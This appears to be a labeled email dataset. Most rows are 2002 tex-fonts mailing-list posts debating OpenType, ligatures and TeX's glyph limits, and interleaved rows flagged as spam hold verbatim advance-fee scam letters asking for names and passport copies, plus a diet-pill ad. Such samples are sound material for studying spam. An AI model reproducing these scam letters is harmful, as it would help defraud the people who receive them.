TeX),"At 04:20 PM 7/23/02 -0400, William wrote: >them up since neither automagically handles rich fonts like to OpenType AIUI. > >Michael Vulis then said: >(re: pdfTeX supporting TrueType-based .otfs) >>VTeX (www.micropress-inc.com) >>also supports (usually much better) Type1-based .otf's. > >Interesting (sure wish I could find a copy of OS/2 for Pens for my >Fujitsu pen slate). > >But at: >http://www.micropress-inc.com/texdocs/index.html > >there're no details on the nature of your support of OpenType---am I >missing where to look this up? Some of the Web pages are behind; I'll make sure that the OpenType section is added. Basically, OpenType is supported by the VTeX compiler (BOTH in the commercial and the free versions); the Windows version visual font configuration tool (which manages/makes TeX support files also handles OpenType. The support in the compiler is totally transparent; as long as the configuration lists a font as OpenType, it is handled. > >While I appreciate, and don't mind the commercial implementations >stepping forward, naturally the thrust of my query was toward some sort >of generally available / open implementation (has TUG considered funding >such?). > >::mental note:: order a copy of _TeX: The Program_.... > >William > > --------------------------------------------- Michael Vulis MicroPress mailto://support@micropress-inc.com http://www.micropress-inc.com ",0,1 William Adams ,tex-fonts@sunshine.math.utah.edu,"Tue, 23 Jul 2002 17:13:31 -0400",Re: OpenType support (for TeX),"Michael Vullis said: >Basically, OpenType is supported by the VTeX compiler (BOTH in the commercial >and the free versions); the Windows version visual font configuration tool >(which >manages/makes TeX support files also handles OpenType. >The support in the compiler is totally transparent; as long as the configuration >lists a font as OpenType, it is handled. But handled how much? are contextual ligature replacements made? Does your system encompass Unicode encodings and access to such slots in an OpenType font? William ",0,0 """Berthold K.P. Horn"" ","wadams@atlis.com, tex-fonts@sunshine.math.utah.edu","Tue, 23 Jul 2002 17:27:01 -0400",Re: OpenType support (for TeX),"At 05:13 PM 7/23/2002 -0400, William Adams wrote: >But handled how much? are contextual ligature replacements made? I guess you didn't read what I wrote. And it has been written many times before. You can probably do a search on this group or comp.text.tex TeX does all of this sort of thing, and in return, it cannot tolerate this happening ""under the hood"". It requires TFM metric files that it can believe in. TeX cannot work properly when things can change while it isn't looking. This means that some of the nfity things about OpenType fonts are not only not useful for TeX users, but actually get in the way. Somehow it doesn't matter too much though since many OpenType fonts are just wrappers for T1 or TT fonts with none of the hairy stuff added. >Does your system encompass Unicode encodings and access to such slots in >an OpenType font? Unicode is a separate issue from OpenType. TeX is inherently limited to 8-bit bytes in a rather serious way. The exception is Omega --- which you are welcome to try. (This is not to say that implementations may not internally use Unicode --- it is just not accessible in the TeX source code). Regards, Berthold. -- Berthold K.P. Horn mailto:bkph@ai.mit.edu http://www.ai.mit.edu/people/bkph (BK)",0,1 """MicroPress Inc."" ",wadams@atlis.com,"Tue, 23 Jul 2002 17:42:59 -0400",Re: OpenType support (for TeX),"At 05:13 PM 7/23/02 -0400, you wrote: >Michael Vullis said: >>Basically, OpenType is supported by the VTeX compiler (BOTH in the commercial >>and the free versions); the Windows version visual font configuration tool >>(which >>manages/makes TeX support files also handles OpenType. >>The support in the compiler is totally transparent; as long as the configuration >>lists a font as OpenType, it is handled. > >But handled how much? are contextual ligature replacements made? Handled the ""TeX-way"". It makes no sense to use the OpenType ligature mechanism when TeX does it quite well. > >Does your system encompass Unicode encodings and access to such slots in >an OpenType font? Some such Unicode support is present, where it makes sense (CID fonts, for example); but overall VTeX is TeX, not Omega, and for most available OpenType fonts it is actually not needed. There will be more said on this when we release V8 (soon). > >William > > --------------------------------------------- Michael Vulis MicroPress mailto://support@micropress-inc.com http://www.micropress-inc.com ",0,1 William Adams ,tex-fonts@sunshine.math.utah.edu,"Tue, 23 Jul 2002 17:49:10 -0400",Re: OpenType support (for TeX),"(Berthold, this is somewhat added to from my private reply to you, but the substance is the same) Berthold said: >I guess you didn't read what I wrote. And it has been written many times before. >You can probably do a search on this group or comp.text.tex >TeX does all of this sort of thing, and in return, it cannot tolerate this >happening ""under the hood"". It requires TFM metric files that it can >believe in. TeX cannot work properly when things can change while >it isn't looking. I don't see why / how TeX could care about things changing after it's done looking at things. As I understand it in TeX/GX, when the page is shipped out, where each line would normally be written to the .dvi file, it's instead passed to the QuickDraw/GX Line Layout Manager which sets said characters to that width according to the rules in the font(s). Apparently this is an easy way to do this since TeX is so resistant to doing letterspacing which would interfere with substituting (for example) a ct ligature with a the ct characters. So rather than doing this ``under the hood'', one way to achieve this is by latching onto TeX's output and resetting it somewhat so as to use OpenType fonts according to OpenType rules---I don't see why this would be a difficult thing to ``bolt-on'' to pdfTeX, modulo the difficulty of parsing the OpenType font rules. I've read the bit in _Digital Typography_ about the difficulties of extending TeX to larger character sets, and've looked over Omega a couple of times, so I've some inkling of the technical difficulties involved in doing this directly in TeX. However, I'm working up towards a long-term personal project which will need something like to these capabilities, and so am investigating how to do this sort of thing in TeX, or something like to it (one alternative I'm looking at is CCS, a proprietary batch pagination system which my employer developed a while back), because I simply can't stand Adobe's ideas of user interface and can't justify purchasing a new / high-end Mac or Windows machine. William ",0,0 William Adams ,tex-fonts@sunshine.math.utah.edu,"Tue, 23 Jul 2002 17:52:28 -0400",Re: OpenType support (for TeX),"Michael Vullis said: (re: VTeX's support of OpenType and contextual ligatures) >Handled the ""TeX-way"". It makes no sense to use the OpenType ligature >mechanism when TeX does it quite well. up to the limits of .tfm's 256 character limit. If one is interested in the idea of using fonts which have more ligatures than that, well, it makes sense to me. I then asked: >>Does your system encompass Unicode encodings and access to such slots in >>an OpenType font? >Some such Unicode support is present, where it makes sense (CID fonts, for >example); but overall VTeX is TeX, not Omega, and for most available OpenType >fonts it is actually not needed. >There will be more said on this when we release V8 (soon). Neat! I'll keep an eye out for it. William ",0,0 Alan Shutko ,tex-fonts@sunshine.math.utah.edu,"Tue, 23 Jul 2002 18:03:40 -0400",Re: OpenType support (for TeX),"William Adams writes: > I don't see why / how TeX could care about things changing after it's > done looking at things. It depends on which program you trust to do layout. If you are using TeX, it's probably because you believe it does a good job of layout. If things change after it's done looking at things, you are depending on the font/Quickdraw/whatever to do a better job of layout than TeX did. You are also hoping that it doesn't make things _worse_ because the fonts are designed to improve naive output and the layout TeX did confuses the font's algorithm. -- Alan Shutko - In a variety of flavors! Shin - A device used for finding furniture in the dark",0,0 """Berthold K.P. Horn"" ","wadams@atlis.com, tex-fonts@sunshine.math.utah.edu","Tue, 23 Jul 2002 18:12:43 -0400",Re: OpenType support (for TeX),"At 05:49 PM 7/23/2002 -0400, William Adams wrote: >Berthold said: > > >TeX does all of this sort of thing, and in return, it cannot tolerate this > >happening ""under the hood"". It requires TFM metric files that it can > >believe in. TeX cannot work properly when things can change while > >it isn't looking. > >I don't see why / how TeX could care about things changing after it's >done looking at things. Well, TeX typesets according to the metrics in the TFM. It takes care of kerning and ligature substitution (and quite complex ones are possible in TeX 3.0 and later). Now if the output/display/print system takes output from TeX and messes with it by, for example, combining characters and replacing them with ligatures, then the space taken on the line changes. You can compensate for this by adding letter spacing between letters, but of course this is undesirable. It may not be visible in benign cases, but is just the wrong thing to do. TeX should be in complete control of layout. Plus what it the point? TeX already does kerning and ligatures. In fact, if TeX knows about the ligatures in the font (as it should from the TFM) file it will already have made the replacements and no new ones will be triggered in the font. So then it ""just works"" but clearly there is then no benefit to OpenType, the OT font is used by TeX just like any other font. And if you are looking for Unicode as the justification for using OpenType keep in mind that you can use Type 1 and TrueType fonts with large character sets just as well (from applications other than TeX). There is no advantage to OT here. In some TeX systems you can access arbitrary characters in a font by reencoding it using an encoding vector you design. But you are still limited to 256 per font in TeX. It's just you can choose which 256 glyph ""window"" into the font you want to see. To conveniently get more you need a 16-bit version of TeX such as Omega. >As I understand it in TeX/GX, when the page is shipped out, where each >line would >normally be written to the .dvi file, it's instead passed to the >QuickDraw/GX Line Layout Manager which sets said characters to that >width according to the rules in the font(s). Well, yes, but those widths are the same as those in the TFM file (or should be). So no change should occur at this stage. >Apparently this is an easy way >to do this since TeX is so resistant to doing letterspacing which would >interfere with substituting (for example) a ct ligature with a the ct >characters. I doubt it actually works as described. I bet it simply puts them down on the line exactly as TeX dictates. If it didn't, it shouldn't be called TeX! >I've read the bit in _Digital Typography_ about the difficulties of >extending TeX to larger character sets, and've looked over Omega a >couple of times, so I've some inkling of the technical difficulties >involved in doing this directly in TeX. However, I'm working up towards >a long-term personal project >which will need something like to these capabilities, and so am >investigating how to do this sort of thing in TeX, or something like to >it (one alternative I'm looking at is CCS, a proprietary batch >pagination system which my employer developed a while back), because I >simply can't stand Adobe's ideas of user interface Could you explain this a bit more? Do you mean Adobe typesetting software? Or ATM? Or Acrobat? Or the way fonts work in Windows and on the Mac? >and can't justify >purchasing a new / high-end Mac or Windows machine. You don't normally need a hi-end machine for TeX, since most implementations can typeset the multi-hundred page TeX book an a very small number of seconds. Also, a ""hi end"" windows machine costs *very* little these days. Certainly your employer could justify it. It would cost a lot less than a few hours on tex-fonts :-) Regards, Berthold. >William -- Berthold K.P. Horn mailto:bkph@ai.mit.edu http://www.ai.mit.edu/people/bkph (BK)",0,1 William Adams ,tex-fonts@sunshine.math.utah.edu,"Tue, 23 Jul 2002 18:32:30 -0400",Re: OpenType support (for TeX),"I'd said: >> As I understand it in TeX/GX, when the page is shipped out, where each >> line would >> normally be written to the .dvi file, it's instead passed to the >> QuickDraw/GX Line Layout Manager which sets said characters to that >> width according to the rules in the font(s). and Berthold replied: >Well, yes, but those widths are the same as those in the TFM file >(or should be). So no change should occur at this stage. By ``width'' I meant over-all width of the line. Changes most certainly _should_ happen _according to the rules in the fonts_, so if there's e.g., a ct ligature in the OpenType font (but of which TeX is unaware 'cause the encoding slot it would've used was too precious and needed something else) that would get subbed in for a ct pair---naturally this scheme is helped by the ligature and its matching character pair having the same width, but the GX Line Layout Manager should be able, at need to shift words as needed (and keep even wordspacing). >I doubt it actually works as described. My experimentation leads me to believe it does work as described---TeX/GX is linked to from www.tug.org, so if you can scare up a Mac which'll run System 7.5.1--7.6.1 you can play with it yourself. Imagine instead a successor to dvips which takes a dvi file and the attendant virtual fonts and some hypothetical other mapping file and re-works the dvi file to conform to the applied OpenType fonts' norms of layout. >I bet it simply puts them down >on the line exactly as TeX dictates. If it didn't, it shouldn't be called TeX! Should pdfTeX not be called TeX because Hanh added margin kerning and character expansion as an option? (I'm trying to set up a powerful, open typesetting system for a personal project and) >>I simply can't stand Adobe's ideas of user interface >Could you explain this a bit more? Do you mean Adobe typesetting software? >Or ATM? Or Acrobat? Or the way fonts work in Windows and on the Mac? I mean User Interface like Illustrator's over-wrought tool palette with not one, not two, not three, but _nine_ different tool icons for selecting objects and working with points. By way of contrast, FH8 has _two_ (and I've complained bitterly to Macromedia of their adding a third a la Illustrator) >> and can't justify >> purchasing a new / high-end Mac or Windows machine. >You don't normally need a hi-end machine for TeX, That's why I'm looking at TeX and its derivatives. It runs quite nicely on my Fujitsu pen slate. >Also, a ""hi end"" windows >machine costs *very* little these days. Certainly your employer >could justify it. It would cost a lot less than a few hours on tex-fonts :-) I'm not inclined to displace my NeXT Cube from my desk with a Windows desktop high-end or no, and this is a personal project, so my employer wouldn't be funding it. I have two Windows laptops (a ThinkPad, and the afore-mentioned pen slate), so getting another portable wouldn't get approval from my significant other---I'm also not wild about ID's hardware requirements. William ",0,0 William Adams ,tex-fonts@sunshine.math.utah.edu,"Tue, 23 Jul 2002 18:39:41 -0400",Re: OpenType support (for TeX),"Alan Shutko said: >If things change after it's done looking at things, you are depending >on the font/Quickdraw/whatever to do a better job of layout than TeX >did. You are also hoping that it doesn't make things _worse_ because >the fonts are designed to improve naive output and the layout TeX did >confuses the font's algorithm. I've just finished adding ct and st ligatures to Adobe Garamond at home. I believe I have two slots left in the italic font---one of these will go to an fj ligature I made a while back. That leaves the possibility of adding one additional alternative character / ligature beyond those already installed, which means the alternate Q with long tail can make it, but nothing after that---is that to be the full tally of quaint ligatures in TeX? I'm working on a typeface design which has all of those, plus ft, ll and a couple of others---I'd really like to be able to use them transparently in TeX without jettisoning accented characters &c. William ",0,0 """Berthold K.P. Horn"" ","Alan Shutko , tex-fonts@sunshine.math.utah.edu","Tue, 23 Jul 2002 19:22:02 -0400",Re: OpenType support (for TeX),"At 06:03 PM 7/23/2002 -0400, Alan Shutko wrote: >You are also hoping that it doesn't make things _worse_ because >the fonts are designed to improve naive output and the layout TeX did >confuses the font's algorithm. I think this is a key point. The much touted features of OpenType with respect to ligaturing etc. are of great benefit to naive programs (such as unmentionable stuff from certain well known major companies) that do not do any careful typography such as kerning and ligatures. It is of no benefit for TeX and it actually gets in the way. TeX needs to know the metrics of all glyphs it typesets in advance so it can do its clever paragraph line layout. It can't do the best job if afterwards some glyphs are replaced and the width of typeset material changes. Regards, Berthold. -- >Alan Shutko - In a variety of flavors! >Shin - A device used for finding furniture in the dark -- Berthold K.P. Horn mailto:bkph@ai.mit.edu http://www.ai.mit.edu/people/bkph (BK)",0,1 """Berthold K.P. Horn"" ","wadams@atlis.com, tex-fonts@sunshine.math.utah.edu","Tue, 23 Jul 2002 19:29:37 -0400",Re: OpenType support (for TeX),"At 06:39 PM 7/23/2002 -0400, William Adams wrote: > >If things change after it's done looking at things, you are depending > >on the font/Quickdraw/whatever to do a better job of layout than TeX > >did. You are also hoping that it doesn't make things _worse_ because > >the fonts are designed to improve naive output and the layout TeX did > >confuses the font's algorithm. > >I've just finished adding ct and st ligatures to Adobe Garamond at home. >I believe I have two slots left in the italic font---one of these will >go to an fj ligature I made a while back. That leaves the possibility of >adding one additional alternative character / ligature beyond those >already installed, which means the alternate Q with long tail can make >it, but nothing after that---is that to be the full tally of quaint >ligatures in TeX? Well, there seem to be enough slots left in reasonable encodings for deal with quite a range of ligatures beyond fl, fi, ff, ffi, and ffl. I am not sure what the problem would be with adding ct, st, fj, ll etc. I am sure you can come up with some special case (such as Arabic) where you will run out with TeX limitation of 256, but for ""normal"" use, like Adobe Garamond, I see no reason. (Or are you somehow torturing yourself unnecessarily with Cork encoding?) >I'm working on a typeface design which has all of those, plus ft, ll and >a couple of others---I'd really like to be able to use them >transparently in TeX without jettisoning accented characters &c. Well, OT is not the solution, since you loose TeX's wonderful capabilities to typeset properly. If you *really* have more ligatures than can fit (and they aren't just a designers random doodling) then you just may have to look at Omega. >William -- Berthold K.P. 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Thank you. zrvp",1,1 Walter Schmidt ,tex-fonts ,"Wed, 24 Jul 2002 13:19:40 +0200",Re: OpenType support (for TeX),"On Tue, 23 Jul 2002 18:32:30 -0400, William Adams wrote: >the GX Line Layout Manager >should be able, at need to shift words as needed >(and keep even wodspacing). What about a \\parbox, a framed box or underlined text? What about carefully positioned accents? What about multiple columns? What about math formulae? The exact placement of the letters as calculated by TeX must not be altered in the output process. -- Walter ",0,0 Werner LEMBERG ,bkph@ai.mit.edu,"Wed, 24 Jul 2002 08:36:10 +0200",Re: OpenType support (for TeX)," > Plus what it the point? TeX already does kerning and ligatures. In > fact, if TeX knows about the ligatures in the font (as it should > from the TFM) file it will already have made the replacements and no > new ones will be triggered in the font. So then it ""just works"" but > clearly there is then no benefit to OpenType, the OT font is used by > TeX just like any other font. Some features of OpenType are nevertheless useful even for TeX, e.g. vertical representation forms for CJK glyphs or small caps substitutions. It is a fact of life that most fonts will come in the OpenType format today. Adobe no longer produces Type1 fonts, only OTFs; so TeX and Omega *must* support this format in the near future. For many languages the 256 character limit is bad, so I won't discuss this since Omega can do that better even if you don't use any other feature of Omega. What we need is a tool (or a suite of tools) which prepares OTF fonts for TeX, this is, extracting the various OpenType tables and converting them to something TeX can understand: . Glyph substitution data (in the GSUB table) should be represented as different fonts. . Kerning data realized as GPOS table should be converted to ordinary kerning. Some data is too sophisticated for TeX (which is a deficiency of TeX, not of OpenType) -- this should be converted into a set of Omega OTPs: . Contextual glyph substition and positioning. . Cursive connection data for languages like Urdu. . Horizontal and vertical kerning at the same time. Werner ",0,0 Ulrich Dirr ,tex-fonts@sunshine.math.utah.edu,"Wed, 24 Jul 2002 18:51:10 +0200",RE: OpenType support (for TeX),"> Some features of OpenType are nevertheless useful even for TeX, > e.g. vertical representation forms for CJK glyphs or small caps > substitutions. It is a fact of life that most fonts will come in > the OpenType format today. Adobe no longer produces Type1 fonts, > only OTFs; so TeX and Omega *must* support this format in the > near future. I agree. > For many languages the 256 character limit is bad, so I won't > discuss this since Omega can do that better even if you don't use > any other feature of Omega. What we need is a tool (or a suite of > tools) which prepares OTF fonts for TeX, this is, extracting the > various OpenType tables and converting them to something TeX can > understand: > > . Glyph substitution data (in the GSUB table) should be > represented as different fonts. > > . Kerning data realized as GPOS table should be converted to > ordinary kerning. > > Some data is too sophisticated for TeX (which is a deficiency of > TeX, not of OpenType) -- this should be converted into a set of > Omega OTPs: > > . Contextual glyph substition and positioning. > > . Cursive connection data for languages like Urdu. > > . Horizontal and vertical kerning at the same time. Yes. I also find it very useful to have the language feature tag ('language system tag'). Then you can have correct 'ch', 'ck', etc. ligatures when german is the current language but not in english where it's useless (and like the 'fi' in turkish, etc.pp.). Not to mention the 'hlig' feature tag. Ulrich Dirr ",0,0 """Berthold K.P. Horn"" ","ud@art-satz.de, tex-fonts@sunshine.math.utah.edu","Wed, 24 Jul 2002 14:26:29 -0400",RE: OpenType support (for TeX),"At 18:51 2002-07-24 +0200, Ulrich Dirr wrote: >> Some features of OpenType are nevertheless useful even for TeX, >> e.g. vertical representation forms for CJK glyphs or small caps >> substitutions. It is a fact of life that most fonts will come in >> the OpenType format today. Adobe no longer produces Type1 fonts, >> only OTFs; so TeX and Omega *must* support this format in the >> near future. > >I agree. And some commercial systems do support OpenType (although not always in the same complete way as Type 1) -- *but* within the limitations of what TeX can do. That is, you can use any system-installed font (including Type 1, TrueType and OpenType) for screen display and printing, and you can write TFMs for these fonts for use by TeX. But as discussed, TeX is in charge of typesetting, and what clever things it can do it will do, and other things it will not, quite independent of what the font format is. So I think the question should not be ""when will TeX support OT?"" (which some implementation already do), but rather ""how can we design a successor to TeX that includes support for the features of OpenType that TeX currently does not provide?"" And in that case you may be better off looking at Omega rather than starting from scratch, or maybe Adobe OnDesign. >> For many languages the 256 character limit is bad, so I won't >> discuss this since Omega can do that better even if you don't use >> any other feature of Omega. What we need is a tool (or a suite of >> tools) which prepares OTF fonts for TeX, this is, extracting the >> various OpenType tables and converting them to something TeX can >> understand. As indicated above, AFMs and TFMs for OT fonts can be written by some commercial TeX systems. But not the hairy stuff you are looking for, since TeX does not provide support for them in metric files. >Yes. I also find it very useful to have the language feature tag ('language system tag'). Then you can have correct 'ch', 'ck', etc. ligatures when german is the current language but not in english where it's useless (and like the 'fi' in turkish, etc.pp.). Not to mention the 'hlig' feature tag. One rather painless way to do this presently is to have different file directories of TFM files for different purposes. To switch ""system language"" you switch a single variable that tells TeX where the tree of directories is. Some systems already do this for convenient and easy switching between font encodings (which require different TFMs). Regards, Berthold. Of course you are unlikely to see much development of any of these hairy features unless the demand for such features picks up. >Ulrich Dirr -- Berthold K.P. Horn mailto:bkph@ai.mit.edu http://www.ai.mit.edu/people/bkph (MT) ",0,1 Tayo Samsudin ,tayosamfile@ownmail.com,"Thu, 25 Jul 2002 16:06:35 +0530",Online A/C Partnership...........,"PLEASE READ AND FOR SECURITY REASONS,SEND YOUR REPLY ONLY TO ALL 2 EMAIL ADDRESSES BELOW : tayosamsudin11@email.com tayosamsudin11@boardermail.com Dear I am Tayo Samsudin, Retired Chief Accountant of the Kenya Central Bank. Kenya is a picturesque East African Country widely known for its abundance of wild game, safaris, and Tourism ; which is still a major foreign exchange earner for the Kenyan economy. As you are aware, the Central Bank of every Country acts as the Bankers� bank. However, a few high networth individuals and corporations routinely maintained A/Cs with the Kenya Central Bank. And so, in September 1997, a multimillionaire Oil Magnate, Ilic Novko from Bosnia/ Hezegovina opened a time (fixed) deposit A/C in the Kenya Central Bank, and I was privileged to act as his A/C supervisor/manager. The opening balance was USD54 million. Unfortunately, the Kosovo crisis claimed his life and that of his entire family! I spent years tracing his next of kin but it was a deadend! A few years before my retirement, I decided to make a perfect plan to transfer this money out abroad. Using a complicated system of shortfall deposits, I withdrew this money and placed it in a holding A/C. The ONLY problem is that by law, Kenyan indigenes are NOT allowed to transfer out this volume of money abroad! There are legal restrictions which will stop any attempt by me to single handedly transfer this money abroad� I therefore need your help! It is simple! There will be no risk and no illegality involved. All I need is a willing foreign partner who will agree to help me. How? I have concluded arrangements to lodge the money into an online Bank in Kenya, and from there, the money can be transferred to any Bank of our choice. But as I mentioned earlier, I am handicapped because I am a Kenya national. If you agree to help me, then please send me your full name so that I can �ESTABLISH� the ONLINE BANK A/C IN YOUR NAME�That way you will be able to personally transfer the money out to any hidden A/C of our Choice, WITHOUT YOU TRAVELLING TO ANYWHERE! ALSO, YOU WILL NOT SIGN ANY DOCUMENTS FOR ANY ASPECT OF THE TRANSACTION! This is how it will work. Step 1- I will Establish/Activate the online A/C in your name and lodge the money now total USD55.7million ( inclusive of interests) into the Account. Step 2 I will give you the Account Access information which will include :- (a) Customer Name (b) Customer ID � Security Code (d) Account Number (e) Amount in US$ Step 3 Once you have been given the A/C access information as per above, you will then be in a position to wire transfer out all the money to ANY A/Cs of our choice! AND YOU DO NOT NEED TO GIVE ME OR ANY ONE YOUR A/C INFORMATION BEFOREHAND; ONLY YOU WILL KNOW AND USE YOUR CONFIDENTIAL A/Cs DETAILS TO MAKE THE WIRE TRANSFERS YOURSELF! The best part is that you will do this using your personal computer, in the comfort of your home! I hope this will be an enduring partnership, because I will need your help to check out investment options for me; The money will be shared on the ratio of 50/50 If you are interested, please contact me immediately, giving me your FULL NAMES, TELEPHONE AND FAX NUMBERS , and I will get back to you. Regards, Tayo Samsudin tayosamsudin11@email.com tayosamsudin11@boardermail.com Tel - ++ 871 762 127 825 Fax- ++ 871 762 127 823 ",1,0 tvylinux4oems ,Industrial.Linux.User@tug.org,"Thu, 25 Jul 2002 06:10:09 -0400",ISA Article on Embedded Real-Time Linux Automation Applications . qajqo,"Industrial LINUX News: The June issue of the ISA's InTech Magazine has an interesting article on how truly open Linux applications can lower development cost and increase the performance and reliability of industrial automation. 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Since we have no place or person to turn to for assistance, I feel it is very necessary to bring to your notice, the problem we are going through,now,I am very optimistic that you owe a moral obligation to look into our plight and come to our rescue, thus my writing to you. I am MRS. REGINA NJOVA, the Wife of the late DR.FRANCIS NJOVA of the blessed memory. Prior to my husband's assasination by the Rebel forces loyal to Major John Paul Koromah, he was the Director General, National Gold and Diamond Mining Corporation in Sierra Leone. Two days before my husband was assasinated,he instructed me and my children (Mr. Justin and Evelyn Njova) to move out of Sierra Leone immediately before the powerful Ecowas Mobilization Group (ECOMOG) forces intervened which eventually resulted into a brutal civil war. I and my children managed to escape to Johannesburg the Republic of South AFrica by ship through the help of my husband's friend who is a trawler. We came to Johannesburg with some valuables including a cash sum of $16.5m(SIXTEEN MILLION FIVE HUNDRED THOUSAND UNITED STATES DOLLARS ONLY) in boxes which I deposited with a Security company here in Johannesburg , with my first son's name (Justin Sankoh). For your information, we did not disclose the real contents of the boxes to the Security Company and we do not wish them to know this under any circumstances.Rather, we deposited the boxes as containing family valuables. Meanwhile, I want to leave Johannesburg entirely with this money for investments in your country because of the unstable political situation in my country and mostly for the future of my children. I want you to please assist us in claiming these boxes from the Security Company, deposited the funds in a local account here in your name and order the Bank to transfer the funds to your country.You should also source for good investments opportunity so that we can invest wisely in your country when the fund is finally confirmed in your account. We have in mind to reward you handsomely for your assistance with at least 20% of the total sum. If there should be any incidental expenses on your side,an amount not exceeding 5%would be given to you an additional reward.Please as soon as I hear from you, I will forward my son's temporary telephone number in Johannesburg for you to speak with him immediately to enable us proceed in earnest towards retrieving the boxes and transferring of the funds into your account. There is no risk in this transaction since we are the bonafide owners of the valuables. Please ensure that no one else knows about this money;it is only myself, my son and you that knows about it. May God bless you as you assist us. Yours sincerely, MRS. REGINA NJOVA ",1,0 """Ladylike M. Pebbliest"" ",Bait ,"Thu, 25 Jul 2002 03:05:20 -0400",Tired of being overweight? We can help!,"Hoodia 920+ -- The newest and most exciting fat loss product available - As seen on Oprah! http://www.pasuva.com Real testimonials: ""I was originally amazed that the first two pills I took of Hoodia 920+, almost immediately took my cravings away. Now 4 weeks later, 3 belt holes later, I have become an advocate for this awesomely powerful, natural supplement!"" Victoria K., Bellevue WA ""I tried Hoodia 920+ after visiting your website, and I lost a few pounds without doing anything else. I was so amazed I decided to start exercising and getting outside more and I even starting eating better. Now I don't even look like the same man. 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That leaves the possibility of >adding one additional alternative character / ligature beyond those >already installed, which means the alternate Q with long tail can make >it, but nothing after that---is that to be the full tally of quaint >ligatures in TeX? > >I'm working on a typeface design which has all of those, plus ft, ll and >a couple of others---I'd really like to be able to use them >transparently in TeX without jettisoning accented characters &c. Then you might want to try the T1R encoding; see CTAN:macros/latex/contrib/supported/relenc. It lets you use up to 69 slots for ligatures, whereas all slots in a font that you don't need for a ligature can contain the same character as in T1. OTOH I must remark that I'm not as happy with the package now as I was when I wrote it---there is a dependency between the t1renc.def file and the relenc package which is definitely not kosher---but on the other hand you seem prepared to use many other things which aren't standard either. Lars Hellström ",0,0 Eduado ,tex-fonts@tug.org,"Thu, 25 Jul 2002 18:06:29 -0000",MY INHERITANCE,"Date:July 25,2002. Email:eduadomello@inbox.lv Dear Sir, I am Mr.Eduado de Mello, one of the Principal Commanders of the Union for the Total Independence of Angola,UNITA.Well needless telling a very long story here for our story is indeed interwoven with the history of the world and the liberation struggle in the Southern African region of the African continent. The bubble burst just about a couple of months ago when my supreme commander, the late Dr.Jonas Savimbi was killed in an encounter with the government forces of the MPLA government of my country.The rest is now history but suffice it to say that I am tired of the unfortunate ole of waging a war against my fatherland.I have therefore decided to pull out my troupes from the bush even if the other field commanders decide otherwise I am therefore poised to effect a new beginning in my life and I have decided to make South Africa my new home at least for the interim period until I am sufficiently sure that I would be welcome home whole heartedly by the MPLA government in Luanda the capital of Angola. Needles to say I was the single most important commander who was very close to the late supreme commander; Dr.Jonas Savimbi.Indeed because I am a brother to one of his wives,he confided in me a great deal. The result of such trust is my reason for contacting you. I was the commander whom he sent to deposit the sum of Thirty two million USD ($32million) with a security/finance company in South Africa.This was immediately after the events of September 11,2001 in the United States of America.Indeed it had become increasingly difficult to move large volumes of money around the world particularly for a liberation movement like UNITA hence the recourse to keeping the money with the security company in South Africa. I have decided to inherit this money which was taken out and deposited with the said security/finance company as cash in Hundred dollar denominations.The money is kept in my signature and would have been used in the purchase of arms and ammunition for the purposes of continuing the civil war in Angola. The supreme commander is dead and as already stated I have decided to quit the whole thing and this is without regard to the fact that other commanders may wish to continue ! I want to cooperate with you in my decision to inherit the $32million.I am still in the bush here but I have been able to establish contact with the company in South Africa to the effect that I would soon come to take possession of the money that I kept with them. Note also that I deposited the money as a foreign national who is the head of a Mining company in Angola (Never as a commander of UNITA). If you are able to cooperate with me over this am willing to give you 20% of the $32million.Please come back to me through email: eduadomello@inbox.lv The security/finance company is standing by to receive my instructions on this and I will link you up with them as soon as you are ready to take possession of the $32million. Finally you are to note that in you reply, you are to state your residential or company address and if possible send a copy of your international passport so as to assure me that my money is safe in your hands. Yours truly, Eduado de Mello ",1,0 Eduado ,tex-fonts@tug.org,"Fri, 26 Jul 2002 11:02:20 -0000",MY INHERITANCE," Date:July 26,2002. Email:demello@themail.com Dear Sir, I am Mr.Eduado de Mello, one of the Principal Commanders of the Union for the Total Independence of Angola,UNITA.Well needless telling a very long story here for our story is indeed interwoven with the history of the world and the liberation struggle in the Southern African region of the African continent. The bubble burst just about a couple of months ago when my supreme commander, the late Dr.Jonas Savimbi was killed in an encounter with the government forces of the MPLA government of my country.The rest is now history but suffice it to say that I am tired of the unfortunate role of waging a war against my fatherland.I have therefore decided to pull out my troupes from the bush even if the other field commanders decide otherwise I am therefore poised to effect a new beginning in my life and I have decided to make South Africa my new home at least for the interim period until I am sufficiently sure that I would be welcome home whole heartedly by the MPLA government in Luanda the capital of Angola. Needles to say I was the single most important commander who was very close to the late supreme commander; Dr.Jonas Savimbi.Indeed because I am a brother to one of his wives,he confided in me a great deal. The result of such trust is my reason for contacting you. I was the commander whom he sent to deposit the sum of Thirty two million USD ($32million) with a security/finance company in South Africa.This was immediately after the events of September 11,2001 in the United States of America.Indeed it had become increasingly difficult to move large volumes of money around the world particularly for a liberation movement like UNITA hence the recourse to keeping the money with the security company in South Africa. I have decided to inherit this money which was taken out and deposited with the said security/finance company as cash in Hundred dollar denominations.The money is kept in my signature and would have been used in the purchase of arms and ammunition for the purposes of continuing the civil war in Angola. The supreme commander is dead and as already stated I have decided to quit the whole thing and this is without regard to the fact that other commanders may wish to continue ! I want to cooperate with you in my decision to inherit the $32million.I am still in the bush here but I have been able to establish contact with the company in South Africa to the effect that I would soon come to take possession of the money that I kept with them. Note also that I deposited the money as a foreign national who is the head of a Mining company in Angola (Never as a commander of UNITA). If you are able to cooperate with me over this am willing to give you 20% of the $32million.Please come back to me through email: demello@themail.com The security/finance company is standing by to receive my instructions on this and I will link you up with them as soon as you are ready to take possession of the $32million. Finally you are to note that in you reply, you are to state your residential or company address and if possible send a copy of your international passport so as to assure me that my money is safe in your hands. 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See e.g. http://www.lexikan.com/mincho.htm Search also for MS Gothic You may not find it easily useable with TeX since it obviously contains more than 256 glyphs. It's also in TrueType form, which may be a handicap. Also, you may not like the style --- but then you get what you pay for :-) Berthold. -- Berthold K.P. Horn mailto:bkph@ai.mit.edu http://www.ai.mit.edu/people/bkph (BK)",0,1 William Adams ,tex-fonts ,"Mon, 29 Jul 2002 11:19:32 -0400",Re: OpenType support (for TeX),"Walter said: (re: TeX/GX shifting words slightly when contextually placing ligatures &c.) >What about a \\parbox, a framed box or underlined text? boxing shouldn't be an issue, since it seems to only be necessary to shift things to even out word-spacing if a ligature replacement has altered a word's length---beginning / end of the line should stay the same (unless there's a boundary ligature which is being inserted). People who under-line deserve what they get. >What about carefully positioned accents? One of the advantages of QuickDraw/GX is that one encodes accents with their characters into a single glyph in the input stream. >What about multiple columns? See above. >What about math formulae? I'm 